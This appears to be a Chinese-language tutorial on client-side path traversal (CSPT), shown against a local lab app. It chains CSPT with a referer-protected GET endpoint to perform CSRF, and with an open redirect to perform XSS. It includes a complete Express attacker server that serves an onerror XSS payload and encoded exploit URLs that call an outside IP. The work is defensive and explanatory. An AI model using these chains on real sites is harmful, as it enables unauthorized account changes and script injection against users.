CSPT漏洞浅析

CSPT全称是Client-Side Path Traversal ，即客户端路径遍历。

概念说明

CSPT 全称 Client-Side Path Traversal（客户端路径遍历），是一种针对前端应用的漏洞，核心是攻击者通过篡改 URL 参数、请求参数等，让浏览器（客户端）错误地向非预期的服务器路径发送请求，从而获取本不应访问的数据或资源。

它的本质是 “前端逻辑对参数校验不严格”，区别于传统的 “服务端路径遍历”（攻击目标是服务器文件系统）：

攻击对象：浏览器的请求逻辑（而非服务器）；

核心结果：让浏览器请求到开发者未开放的 API 接口、JSON 数据文件等；

如果配合其他漏洞，可能会触发或绕过达成某些漏洞的利用，多用于chain二次攻击。

跟上我的节奏，让我们揭开这个漏洞的神秘面纱。漏洞基本特征:

浏览器上访问 用户资料页面:

http://localhost:9999/public/profile.html?id=1

image

除了触发本身的前端页面外，还会触发一个api接口

api接口: http://localhost:9999/api/users/1

response返回:

image

api接口会把返回映射返回给前端输出响应。

用一张图总结下此特征:

image

修改id=123

http://localhost:9999/public/profile.html?id=123

image

后端会去尝试请求:

http://localhost:9999/api/users/123

那么这里大家发现没有，我们发现api路径上的id可控，即可

http://localhost:9999/api/users/{可控}

有这个特征，那么我们可以做什么？

输入http://localhost:9999/public/profile.html?id=../123

image

api会去请求http://localhost:9999/api/123

现在我们通过客户端(前端)的访问，任意控制后端api的路由走向。

单看CSPT漏洞，感觉这种行为没有任何意义。因为我们用户本身就可以访问api接口。

现在我们把CSPT代入到CSRF漏洞

可用业务场景1:

用户访问

http://localhost:9999/public/profile.html?id=1

image

输出用户信息 如id 姓名和头像。

站点内，我们发现了一个get请求的修改用户姓名的接口如下所示:

http://localhost:9999/api/profile?id=1&name=test

当我们直接访问他，它存在安全限制，csrf最常见的安全修复方案就是referer限制。

image

因为有referer限制，我无法csrf修改用户信息成功。那么此时CSPT漏洞的作用就来了。

已知:

http://localhost:9999/public/profile.html?id=1

返回接口:http://localhost:9999/api/users/1

构造可以csrf的CSPT接口:

http://localhost:9999/public/profile.html?id=../profile?id=1&name=test

因为是客户端漏洞，所以最好有必要对特殊字符串进行url编码下:

http://localhost:9999/public/profile.html?id=..%2fprofile%3fid%3d1%26name%3dtest

使用浏览器再次访问:

image

此时利用CSPT，我们成功绕过了csrf限制，通过网络数据请求，你能看到他携带了referer。

现在我们刷新我们的id=1的用户页面:

image

此时姓名已经被修改掉了，说明csrf成功。比起传统的referer url绕过，使用CSPT更加方便，更加智能。

可用业务场景2:

如果一个网站同时具备CSPT+api接口url跳转漏洞，那么此时我们可以把这个漏洞升级成一个xss漏洞。

那么我们来看看吧，怎么做？

首先是api接口的url跳转:

http://localhost:9999/redirect?url=https://example.com

image

这个url跳转，无法使用伪协议进行xss攻击。那么他的危害相对就小了，只能钓鱼。

小小的跳转，是如何和无用的CSPT配合的。

让我们回到最开始CSPT的业务现场:

访问http://localhost:9999/public/profile.html?id=1

触发api接口:http://localhost:9999/api/users/1

response返回:

{"id": 1, "name": "test", "profilePic": "/public/images/user1.jpg"}

image

api接口的json信息，会映射到前端页面上:

image

现在我们在api接口上发现了一个url跳转漏洞，那么此时思路就来了。我们能不能，有没有可能通过CSPT漏洞，请求api接口实现跳转，在页面上加载恶意的json返回？

这里直接上写好的利用代码:

const express = require('express');

const app = express();

// 配置 CORS 头，允许目标平台（localhost:9999）跨域读取

app.use((req, res, next) => {

console.log('收到请求:', req.method, req.url);

console.log('请求头:', req.headers);

res.setHeader('Access-Control-Allow-Origin', 'http://localhost:9999');

res.setHeader('Access-Control-Allow-Credentials', 'true');

// 不在这里统一设置Content-Type，让每个路由单独设置

res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');

res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

res.setHeader('Access-Control-Max-Age', '86400');

next();

});

// 修改为专门支持CSPT漏洞利用的响应格式

app.get('/xss', (req, res) => {

console.log('处理/xss请求，为CSPT漏洞利用返回JSON格式响应');

res.setHeader('Content-Type', 'application/json');

const maliciousData = {

id: "<img src=\"x\" onerror=\"alert(321)\" />",

name: "hello",

profilePic: "/public/images/default.jpg"

};

console.log('发送JSON格式XSS响应:', JSON.stringify(maliciousData));

res.json(maliciousData);

});

const PORT = 5001;

app.listen(PORT, () => {

console.log(`攻击者服务（XSS 弹窗版）启动：http://localhost:${PORT}`);

});

远程服务器上使用node启动:

image

CSPT雏形:

http://localhost:9999/public/profile.html?id=1 ==>http://localhost:9999/api/users/1

演变:

http://localhost:9999/public/profile.html?id=../../redirect?url=https://example.com

==>

http://localhost:9999/public/profile.html?id=..%2f..%2fredirect%3furl%3dhttps%3a%2f%2fexample.com

==>

http://localhost:9999/redirect?url=https://example.com

==>

https://example.com

效果:

image

此时你会发现访问example.com的时候报错红色了。

image

所以这也解释了为什么利用攻击代码中为什么要设置Access-Control-*的原因。

万事俱备，直接利用实现xss吧:

http://localhost:9999/public/profile.html?id=../../redirect?url=http://38.207.176.172:5000/xss

==>

http://localhost:9999/public/profile.html?id=..%2F..%2Fredirect%3Furl%3Dhttp%3A%2F%2F38.207.176.172%3a5001%2fxss

==>

http://localhost:9999/redirect?url=http://38.207.176.172:5001/xss

==>

http://38.207.176.172:5001/xss

编码访问:

http://localhost:9999/public/profile.html?id=..%2F..%2Fredirect%3Furl%3Dhttp%3A%2F%2F38.207.176.172%3a5001%2fxss

image

页面渲染了api 返回内容，导致了xss攻击。

来看下为什么会xss攻击？

image

GET

http://38.207.176.172:5001/xss

response返回:

{"id":"<img src=\"x\" onerror=\"alert(321)\" />","name":"hello","profilePic":"/public/images/default.jpg"}

从代码角度来看:

userInfoDiv.innerHTML = `

<h2>用户信息</h2>

<p><strong>ID:</strong> ${data.id || '未知'}</p>

<p><strong>姓名:</strong> ${data.name || '未知'}</p>

<p><strong>头像:</strong> <img src="${data.profilePic || '/public/images/default.jpg'}" alt="用户头像" width="100" height="100"></p>

`;

image

通过url跳转伪造页面，实现渲染了用户植入的恶意代码。​

总结，要实现xss漏洞，我们需要必须条件？

1.支持CSPT特性

2.api接口存在url跳转漏洞

3.页面支持innerHTMl或者document.write输出。

这里选择了伪造id参数，id一般是数据库的key，是不可控的，即使是存在危险sink，也是无法xss，但是这里巧妙的利用了CSPT+url跳转漏洞实现了xss攻击。